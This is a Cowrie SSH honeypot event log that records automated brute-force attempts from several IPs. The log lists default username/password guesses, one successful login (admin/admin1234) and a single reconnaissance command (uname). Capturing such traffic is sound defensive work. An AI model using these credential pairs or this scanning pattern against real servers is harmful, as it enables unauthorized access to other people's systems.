{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44482,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1440595e3a2","protocol":"ssh","message":"New connection: 91.92.40.171:44482 (159.203.135.109:22) [session: f1440595e3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:46.384371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:46.418594Z","src_ip":"91.92.40.171","session":"f1440595e3a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:46.478572Z","src_ip":"91.92.40.171","session":"f1440595e3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:46.523264Z","src_ip":"91.92.42.133","session":"a37cff9d62e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:47.060547Z","src_ip":"91.92.40.171","session":"f1440595e3a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:47.800630Z","src_ip":"91.92.42.133","session":"a37cff9d62e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:48.281236Z","src_ip":"91.92.40.171","session":"f1440595e3a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44512,"dst_ip":"159.203.135.109","dst_port":22,"session":"033079719d3e","protocol":"ssh","message":"New connection: 91.92.40.171:44512 (159.203.135.109:22) [session: 033079719d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.143616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.278882Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.282662Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34884,"dst_ip":"10.17.0.5","dst_port":22,"session":"8afb3acf5b0e","protocol":"ssh","message":"New connection: 89.223.69.22:34884 (10.17.0.5:22) [session: 8afb3acf5b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.317176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.321561Z","src_ip":"89.223.69.22","session":"8afb3acf5b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.440689Z","src_ip":"89.223.69.22","session":"8afb3acf5b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ccbf22b32b6","protocol":"ssh","message":"New connection: 91.92.42.133:57954 (159.203.135.109:22) [session: 4ccbf22b32b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.637374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.756847Z","src_ip":"91.92.42.133","session":"4ccbf22b32b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.759838Z","src_ip":"91.92.42.133","session":"4ccbf22b32b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11qqaazz","message":"login attempt [root/11qqaazz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.795374Z","src_ip":"89.223.69.22","session":"8afb3acf5b0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:52.853464Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.084627Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.087216Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.198321Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.202123Z","src_ip":"91.92.40.171","session":"033079719d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.455491Z","src_ip":"91.92.42.133","session":"4ccbf22b32b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:53.914566Z","src_ip":"89.223.69.22","session":"8afb3acf5b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:54.727457Z","src_ip":"91.92.42.133","session":"4ccbf22b32b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52630,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d92eb62791","protocol":"ssh","message":"New connection: 91.92.40.171:52630 (159.203.135.109:22) [session: 33d92eb62791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:59.461749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:59.508465Z","src_ip":"91.92.40.171","session":"33d92eb62791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44144,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa97c2819943","protocol":"ssh","message":"New connection: 91.92.42.133:44144 (159.203.135.109:22) [session: aa97c2819943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:00.448332Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:00.560126Z","src_ip":"91.92.40.171","session":"33d92eb62791","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:00.564756Z","src_ip":"91.92.42.133","session":"aa97c2819943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:00.736452Z","src_ip":"91.92.42.133","session":"aa97c2819943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:01.168113Z","src_ip":"91.92.42.133","session":"aa97c2819943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:02.333434Z","src_ip":"91.92.42.133","session":"aa97c2819943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:03.548874Z","src_ip":"91.92.40.171","session":"33d92eb62791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52662,"dst_ip":"159.203.135.109","dst_port":22,"session":"414ad2d093a5","protocol":"ssh","message":"New connection: 91.92.40.171:52662 (159.203.135.109:22) [session: 414ad2d093a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:05.558523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:05.576222Z","src_ip":"91.92.40.171","session":"414ad2d093a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:06.507666Z","src_ip":"91.92.40.171","session":"414ad2d093a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56600,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53afe01c8b7","protocol":"ssh","message":"New connection: 91.92.42.133:56600 (159.203.135.109:22) [session: f53afe01c8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:07.131010Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:07.505040Z","src_ip":"91.92.40.171","session":"33d92eb62791","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:07.977782Z","src_ip":"91.92.42.133","session":"f53afe01c8b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:08.007905Z","src_ip":"91.92.42.133","session":"f53afe01c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56068,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc21192048a7","protocol":"ssh","message":"New connection: 91.92.40.171:56068 (159.203.135.109:22) [session: bc21192048a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:09.614303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:09.617231Z","src_ip":"91.92.40.171","session":"bc21192048a7","protocol":"ssh"}
